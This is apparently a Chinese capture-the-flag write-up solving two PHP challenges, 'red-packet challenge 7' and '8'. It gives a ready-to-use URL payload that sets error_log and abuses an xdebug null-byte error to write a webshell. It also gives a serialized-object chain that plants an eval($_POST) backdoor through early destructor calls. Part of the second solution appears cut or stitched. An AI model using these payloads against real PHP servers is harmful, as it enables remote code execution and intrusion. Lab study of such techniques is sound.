前言
题目太多要复现不过来了555
官方wp:
红包挑战7
利用xdebug报错写马到错误日志
源码
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
审计一下源码,因为我们传入的参数1
外面套了一层单引号,而且过滤了单引号不能进行闭合,所以这里查看目录的命令是写死的
得从上面的extract($_GET);ini_set($name,$value);
入手,我这里尝试过利用这个函数来配置 disabled_function 以禁用filter
函数,但是 disabled_function 不能用ini_set
来写入
这里需要先遍历一下目录查找线索,在/usr/local/lib/php/extensions/
下查看php扩展
发现有xdebug
xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用%00进行截断来触发异常
那么这里就可以考虑利用异常报错
error_log 配置:设置脚本错误将被记录到的文件,即报错信息将被写入到指定路径
利用ini_set
,我们可以实现写马命令执行
payload:
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
然后访问1.php即可
红包挑战8
create_function命令注入
<?php
?>";
private $filename = "1.php";
private $password = "pass";
}
$a = new userLogger();
echo urlencode(serialize($a));
然后在传入的时候删去最后的}
即%7D
如果没删去的话
可以看到这里影响到了第一次log::des
的顺序,提前到了 app::des
前,但是没有提前到 log::wakeup
前
此时的效果是成功往 log.txt 写入我们的马,否则不会写入
什么意思呢,也就是说这次写文件发生在 log::des
,此时经过 log::wakeup
修改了文件名为 log.txt
这样明显还不够,我们需要 log::des 的操作在 log::wakeup 之前,那么这里需要 mysql_helper 类中的die()
结束所有对象的生命周期,使所有的 des 提前
于是构造payload
<?php
class userLogger
{
public $username = "<?php eval(\$_POST[0]);?>";
private $filename = "2.php";
private $password = "1";
}
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
}
class application
{
public $mysql;
public $loger;
public $debug = true;
public function __construct()
{
$this->loger = new userLogger();
$this->mysql = new mysql_helper();
}
}
$c = new application();
echo urlencode(serialize($c));
然后使用 fast gc 触发 app::des,最终调用到 mysql_helper::get_pdo()
mysql_helper
类的$db
属性设置为空,使得mysql_helper::get_pdo()
方法连接数据库失败,执行die()
函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()
这样就能控制文件名为 php 后缀了